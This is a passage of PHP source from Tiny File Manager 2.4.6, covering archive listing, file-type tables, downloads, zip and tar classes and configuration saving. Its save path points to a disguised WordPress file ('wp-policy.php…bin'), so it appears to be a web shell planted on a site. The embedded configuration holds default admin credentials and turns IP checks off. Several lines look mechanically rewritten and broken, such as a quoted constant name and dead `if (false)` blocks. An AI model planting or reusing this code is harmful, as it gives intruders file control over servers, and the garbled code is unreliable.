        //  Slower output
        $size = 0;
        $count = 0;
        $dirCount = 0;
        foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) {
            if ($file->isFile()) {
                $size += $file->getSize();
                $count++;
            } else {
                if ($file->isDir()) {
                    $dirCount++;
                }
            }
        }
        // return [$size, $count, $dirCount];
        return $size;
    } else {
        return "Folder";
    }
    //  Quick output
}
/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array('name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder);
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array('name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder);
        }
        return $filenames;
    }
    return false;
}
/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return strpbrk($text, '/?%*:|"<>') === FALSE ? true : false;
}
/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}
/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (false) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}
/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}
/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
        case 'xz':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }
    return $img;
}
/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array(0 => "ico", 1 => "gif", 2 => "jpg", 3 => "jpeg", 4 => "jpc", 5 => "jp2", 6 => "jpx", 7 => "xbm", 8 => "wbmp", 9 => "png", 10 => "bmp", 11 => "tif", 12 => "tiff", 13 => "psd", 14 => "svg", 15 => "webp", 16 => "avif");
}
/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array(0 => "avi", 1 => "webm", 2 => "wmv", 3 => "mp4", 4 => "m4v", 5 => "ogm", 6 => "ogv", 7 => "mov", 8 => "mkv");
}
/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array(0 => "wav", 1 => "mp3", 2 => "ogg", 3 => "m4a");
}
/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(0 => "txt", 1 => "css", 2 => "ini", 3 => "conf", 4 => "log", 5 => "htaccess", 6 => "passwd", 7 => "ftpquota", 8 => "sql", 9 => "js", 10 => "json", 11 => "sh", 12 => "config", 13 => "php", 14 => "php4", 15 => "php5", 16 => "phps", 17 => "phtml", 18 => "htm", 19 => "html", 20 => "shtml", 21 => "xhtml", 22 => "xml", 23 => "xsl", 24 => "m3u", 25 => "m3u8", 26 => "pls", 27 => "cue", 28 => "eml", 29 => "msg", 30 => "csv", 31 => "bat", 32 => "twig", 33 => "tpl", 34 => "md", 35 => "gitignore", 36 => "less", 37 => "sass", 38 => "scss", 39 => "c", 40 => "cpp", 41 => "cs", 42 => "py", 43 => "map", 44 => "lock", 45 => "dtd", 46 => "svg", 47 => "scss", 48 => "asp", 49 => "aspx", 50 => "asx", 51 => "asmx", 52 => "ashx", 53 => "jsx", 54 => "jsp", 55 => "jspx", 56 => "cfm", 57 => "cgi");
}
/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(0 => "application/xml", 1 => "application/javascript", 2 => "application/x-javascript", 3 => "image/svg+xml", 4 => "message/rfc822");
}
/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(0 => "license", 1 => "readme", 2 => "authors", 3 => "contributors", 4 => "changelog");
}
/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array(0 => "doc", 1 => "docx", 2 => "xls", 3 => "xlsx", 4 => "pdf", 5 => "ppt", 6 => "pptx", 7 => "ai", 8 => "psd", 9 => "dxf", 10 => "xps", 11 => "rar", 12 => "odt", 13 => "ods");
}
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';
    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';
    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';
    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';
    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}
/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
function scan($dir, $filter = '')
{
    $path = "FM_ROOT_PATH/" . $dir;
    if ($dir) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");
        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array("name" => $fileName, "type" => "file", "path" => $location);
            }
        }
        return $files;
    }
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
    if (connection_status() != 0) {
        return false;
    }
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);
    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');
    $contentDisposition = 'attachment';
    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\"");
    } else {
        header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\"");
    }
    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);
    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: {$new_length}");
        header("Content-Range: bytes {$range}{$size2}/{$size}");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-{$size2}/{$size}");
        header("Content-Length: " . $size);
    }
    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("{$fileLocation}", "rb");
    fseek($fp, $range);
    while (!feof($fp) and connection_status() == 0) {
        set_time_limit(0);
        print @fread($fp, 1024 * $chunkSize);
        flush();
        ob_flush();
        // sleep(1);
    }
    fclose($fp);
    return connection_status() == 0 and !connection_aborted();
}
function fm_get_theme()
{
    $result = '';
    if (false) {
        $result = "text-white bg-dark";
    }
    return $result;
}
/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;
    public function __construct()
    {
        $this->zip = new ZipArchive();
    }
    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }
    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }
    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }
    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}
/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;
    public function __construct()
    {
        $this->tar = null;
    }
    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }
    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }
    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }
    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}
/**
 * Save Configuration
 */
class FM_Config
{
    var $data;
    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array('lang' => 'en', 'error_reporting' => true, 'show_hidden' => true);
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg = "Tiny File Manager<br>Error: Cannot load configuration<br>";
                $msg = "Tiny File Manager<br>Error: Cannot load configuration<br><br>Seems like you have a trailing slash on the URL.";
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) {
            $this->data = $data;
        } else {
            $this->save();
        }
    }
    function save()
    {
        $fm_file = "/var/www/html/wp-policy.php.9a991900fe30996c507ae56fca9c13c9.bin";
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php\r\n//Default Configuration\r\n" . "{$var_name} = {$var_value};" . "\r" . "\n";
        if (is_writable($fm_file)) {
            $lines = array(0 => "<?php", 1 => "//Default Configuration", 2 => "\$CONFIG = '{\"lang\":\"en\",\"error_reporting\":false,\"show_hidden\":false,\"hide_Cols\":false,\"calc_folder\":false,\"theme\":\"light\"}';", 3 => "", 4 => "/**", 5 => " * H3K | Tiny File Manager V2.4.6", 6 => " * CCP Programmers | ccpprogrammers@gmail.com", 7 => " * https://tinyfilemanager.github.io", 8 => " */", 9 => "", 10 => "//TFM version", 11 => "define('VERSION', '2.4.6');", 12 => "", 13 => "//Application Title", 14 => "define('APP_TITLE', 'Tiny File Manager');", 15 => "", 16 => "// --- EDIT BELOW CONFIGURATION CAREFULLY ---", 17 => "", 18 => "// Auth with login/password", 19 => "// set true/false to enable/disable it", 20 => "// Is independent from IP white- and blacklisting", 21 => "\$use_auth = true;", 22 => "", 23 => "// Login user name and password", 24 => "// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)", 25 => "// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html", 26 => "\$auth_users = array(", 27 => "    'admin' => '\$2y\$10\$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123", 28 => "    'user' => '\$2y\$10\$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345", 29 => ");", 30 => "", 31 => "// Readonly users", 32 => "// e.g. array('users', 'guest', ...)", 33 => "\$readonly_users = array(", 34 => "    'user'", 35 => ");", 36 => "", 37 => "// Enable highlight.js (https://highlightjs.org/) on view's page", 38 => "\$use_highlightjs = true;", 39 => "", 40 => "// highlight.js style", 41 => "// for dark theme use 'ir-black'", 42 => "\$highlightjs_style = 'vs';", 43 => "", 44 => "// Enable ace.js (https://ace.c9.io/) on view's page", 45 => "\$edit_files = true;", 46 => "", 47 => "// Default timezone for date() and time()", 48 => "// Doc - http://php.net/manual/en/timezones.php", 49 => "\$default_timezone = 'Etc/UTC'; // UTC", 50 => "", 51 => "// Root path for file manager", 52 => "// use absolute path of directory i.e: '/var/www/folder' or \$_SERVER['DOCUMENT_ROOT'].'/folder'", 53 => "\$root_path = \$_SERVER['DOCUMENT_ROOT'];", 54 => "", 55 => "// Root url for links in file manager.Relative to \$http_host. Variants: '', 'path/to/subfolder'", 56 => "// Will not working if \$root_path will be outside of server document root", 57 => "\$root_url = '';", 58 => "", 59 => "// Server hostname. Can set manually if wrong", 60 => "\$http_host = \$_SERVER['HTTP_HOST'];", 61 => "", 62 => "// user specific directories", 63 => "// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)", 64 => "\$directories_users = array();", 65 => "", 66 => "// input encoding for iconv", 67 => "\$iconv_input_encoding = 'UTF-8';", 68 => "", 69 => "// date() format for file modification date", 70 => "// Doc - https://www.php.net/manual/en/function.date.php", 71 => "\$datetime_format = 'd.m.y H:i';", 72 => "", 73 => "// Allowed file extensions for create and rename files", 74 => "// e.g. 'txt,html,css,js'", 75 => "\$allowed_file_extensions = '';", 76 => "", 77 => "// Allowed file extensions for upload files", 78 => "// e.g. 'gif,png,jpg,html,txt'", 79 => "\$allowed_upload_extensions = '';", 80 => "", 81 => "// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.", 82 => "// full path, e.g http://example.com/favicon.png", 83 => "// local path, e.g images/icons/favicon.png", 84 => "\$favicon_path = '';", 85 => "", 86 => "// Files and folders to excluded from listing", 87 => "// e.g. array('myfile.html', 'personal-folder', '*.php', ...)", 88 => "\$exclude_items = array();", 89 => "", 90 => "// Online office Docs Viewer", 91 => "// Availabe rules are 'google', 'microsoft' or false", 92 => "// google => View documents using Google Docs Viewer", 93 => "// microsoft => View documents using Microsoft Web Apps Viewer", 94 => "// false => disable online doc viewer", 95 => "\$online_viewer = 'google';", 96 => "", 97 => "// Sticky Nav bar", 98 => "// true => enable sticky header", 99 => "// false => disable sticky header", 100 => "\$sticky_navbar = true;", 101 => "", 102 => "// Maximum file upload size", 103 => "// Increase the following values in php.ini to work properly", 104 => "// memory_limit, upload_max_filesize, post_max_size", 105 => "\$max_upload_size_bytes = 5000;", 106 => "", 107 => "// Possible rules are 'OFF', 'AND' or 'OR'", 108 => "// OFF => Don't check connection IP, defaults to OFF", 109 => "// AND => Connection must be on the whitelist, and not on the blacklist", 110 => "// OR => Connection must be on the whitelist, or not on the blacklist", 111 => "\$ip_ruleset = 'OFF';", 112 => "", 113 => "// Should users be notified of their block?", 114 => "\$ip_silent = true;", 115 => "", 116 => "// IP-addresses, both ipv4 and ipv6", 117 => "\$ip_whitelist = array(", 118 => "    '127.0.0.1',    // local ipv4", 119 => "    '::1'           // local ipv6", 120 => ");", 121 => "", 122 => "// IP-addresses, both ipv4 and ipv6", 123 => "\$ip_blacklist = array(", 124 => "    '0.0.0.0',      // non-routable meta ipv4", 125 => "    '::'            // non-routable meta ipv6", 126 => ");", 127 => "", 128 => "// if User has the customized config file, try to use it to override the default config above", 129 => "\$config_file = __DIR__.'/config.php';", 130 => "if (is_readable(\$config_file)) {", 131 => "    @include(\$config_file);", 132 => "}", 133 => "", 134 => "// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---", 135 => "", 136 => "// max upload file size", 137 => "define('MAX_UPLOAD_SIZE', \$max_upload_size_bytes);", 138 => "", 139 => "// private key and session name to store to the session", 140 => "if ( !defined( 'FM_SESSION_ID')) {", 141 => "    define('FM_SESSION_ID', 'filemanager');", 142 => "}", 143 => "", 144 => "// Configuration", 145 => "\$cfg = new FM_Config();", 146 => "", 147 => "// Default language", 148 => "\$lang = isset(\$cfg->data['lang']) ? \$cfg->data['lang'] : 'en';", 149 => "", 150 => "// Show or hide files and folders that starts with a dot", 151 => "\$show_hidden_files = isset(\$cfg->data['show_hidden']) ? \$cfg->data['show_hidden'] : true;", 152 => "", 153 => "// PHP error reporting - false = Turns off Errors, true = Turns on Errors", 154 => "\$report_errors = isset(\$cfg->data['error_reporting']) ? \$cfg->data['error_reporting'] : true;", 155 => "", 156 => "// Hide Permissions and Owner cols in file-listing", 157 => "\$hide_Cols = isset(\$cfg->data['hide_Cols']) ? \$cfg->data['hide_Cols'] : true;", 158 => "", 159 => "// Show directory size: true or speedup output: false", 160 => "\$calc_folder = isset(\$cfg->data['calc_folder']) ? \$cfg->data['calc_folder'] : true;", 161 => "", 162 => "// Theme", 163 => "\$theme = isset(\$cfg->data['theme']) ? \$cfg->data['theme'] : 'light';", 164 => "", 165 => "define('FM_THEME', \$theme);", 166 => "", 167 => "//available languages", 168 => "\$lang_list = array(", 169 => "    'en' => 'English'", 170 => ");", 171 => "", 172 => "if (\$report_errors == true) {", 173 => "    @ini_set('error_reporting', E_ALL);", 174 => "    @ini_set('display_errors', 1);", 175 => "} else {", 176 => "    @ini_set('error_reporting', E_ALL);", 177 => "    @ini_set('display_errors', 0);", 178 => "}", 179 => "", 180 => "// if fm included", 181 => "if (defined('FM_EMBED')) {", 182 => "    \$use_auth = false;", 183 => "    \$sticky_navbar = false;", 184 => "} else {", 185 => "    @set_time_limit(600);", 186 => "", 187 => "    date_default_timezone_set(\$default_timezone);", 188 => "", 189 => "    ini_set('default_charset', 'UTF-8');", 190 => "    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {", 191 => "        mb_internal_encoding('UTF-8');", 192 => "    }", 193 => "    if (function_exists('mb_regex_encoding')) {", 194 => "        mb_regex_encoding('UTF-8');", 195 => "    }", 196 => "", 197 => "    session_cache_limiter('');", 198 => "    session_name(FM_SESSION_ID );", 199 => "    function session_error_handling_function(\$code, \$msg, \$file, \$line) {", 200 => "        // Permission denied for default session, try to create a new one", 201 => "        if (\$code == 2) {", 202 => "            session_abort();", 203 => "            session_id(session_create_id());", 204 => "            @session_start();", 205 => "        }", 206 => "    }", 207 => "    set_error_handler('session_error_handling_function');", 208 => "    session_start();", 209 => "    restore_error_handler();", 210 => "}", 211 => "", 212 => "if (empty(\$auth_users)) {", 213 => "    \$use_auth = false;", 214 => "}", 215 => "", 216 => "\$is_https = isset(\$_SERVER['HTTPS']) && (\$_SERVER['HTTPS'] == 'on' || \$_SERVER['HTTPS'] == 1)", 217 => "    || isset(\$_SERVER['HTTP_X_FORWARDED_PROTO']) && \$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';", 218 => "", 219 => "// update \$root_url based on user specific directories", 220 => "if (isset(\$_SESSION[FM_SESSION_ID]['logged']) && !empty(\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']])) {", 221 => "    \$wd = fm_clean_path(dirname(\$_SERVER['PHP_SELF']));", 222 => "    \$root_url =  \$root_url.\$wd.DIRECTORY_SEPARATOR.\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']];", 223 => "}", 224 => "// clean \$root_url", 225 => "\$root_url = fm_clean_path(\$root_url);", 226 => "", 227 => "// abs path for site", 228 => "defined('FM_ROOT_URL') || define('FM_ROOT_URL', (\$is_https ? 'https' : 'http') . '://' . \$http_host . (!empty(\$root_url) ? '/' . \$root_url : ''));", 229 => "defined('FM_SELF_URL') || define('FM_SELF_URL', (\$is_https ? 'https' : 'http') . '://' . \$http_host . \$_SERVER['PHP_SELF']);", 230 => "", 231 => "// logout", 232 => "if (isset(\$_GET['logout'])) {", 233 => "    unset(\$_SESSION[FM_SESSION_ID]['logged']);", 234 => "    fm_redirect(FM_SELF_URL);", 235 => "}", 236 => "", 237 => "// Validate connection IP", 238 => "if(\$ip_ruleset != 'OFF'){", 239 => "    \$clientIp = \$_SERVER['REMOTE_ADDR'];", 240 => "", 241 => "    \$proceed = false;", 242 => "", 243 => "    \$whitelisted = in_array(\$clientIp, \$ip_whitelist);", 244 => "    \$blacklisted = in_array(\$clientIp, \$ip_blacklist);", 245 => "", 246 => "    if(\$ip_ruleset == 'AND'){", 247 => "        if(\$whitelisted == true && \$blacklisted == false){", 248 => "            \$proceed = true;", 249 => "        }", 250 => "    } else", 251 => "    if(\$ip_ruleset == 'OR'){", 252 => "         if(\$whitelisted == true || \$blacklisted == false){", 253 => "            \$proceed = true;", 254 => "        }", 255 => "    }", 256 => "", 257 => "    if(\$proceed == false){", 258 => "        trigger_error('User connection denied from: ' . \$clientIp, E_USER_WARNING);", 259 => "", 260 => "        if(\$ip_silent == false){", 261 => "            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');", 262 => "            fm_show_header_login();", 263 => "            fm_show_message();", 264 => "        }", 265 => "", 266 => "        exit();", 267 => "    }", 268 => "}", 269 => "", 270 => "// Auth", 271 => "if (\$use_auth) {", 272 => "    if (isset(\$_SESSION[FM_SESSION_ID]['logged'], \$auth_users[\$_SESSION[FM_SESSION_ID]['logged']])) {", 273 => "        // Logged", 274 => "    } elseif (isset(\$_POST['fm_usr'], \$_POST['fm_pwd'])) {", 275 => "        // Logging In", 276 => "        sleep(1);", 277 => "        if(function_exists('password_verify')) {", 278 => "            if (isset(\$auth_users[\$_POST['fm_usr']]) && isset(\$_POST['fm_pwd']) && password_verify(\$_POST['fm_pwd'], \$auth_users[\$_POST['fm_usr']])) {", 279 => "                \$_SESSION[FM_SESSION_ID]['logged'] = \$_POST['fm_usr'];", 280 => "                fm_set_msg(lng('You are logged in'));", 281 => "                fm_redirect(FM_SELF_URL . '?p=');", 282 => "            } else {", 283 => "                unset(\$_SESSION[FM_SESSION_ID]['logged']);", 284 => "                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');", 285 => "                fm_redirect(FM_SELF_URL);", 286 => "            }", 287 => "        } else {", 288 => "            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;", 289 => "        }", 290 => "    } else {", 291 => "        // Form", 292 => "        unset(\$_SESSION[FM_SESSION_ID]['logged']);", 293 => "        fm_show_header_login();", 294 => "        ?>", 295 => "        <section class=\"h-100\">", 296 => "            <div class=\"container h-100\">", 297 => "                <div class=\"row justify-content-md-center h-100\">", 298 => "                    <div class=\"card-wrapper\">", 299 => "                        <div class=\"card fat <?php echo fm_get_theme(); ?>\">", 300 => "                            <div class=\"card-body\">", 301 => "                                <form class=\"form-signin\" action=\"\" method=\"post\" autocomplete=\"off\">", 302 => "                                    <div class=\"form-group\">", 303 => "                                       <div class=\"brand\">", 304 => "                                            <svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\" M1008 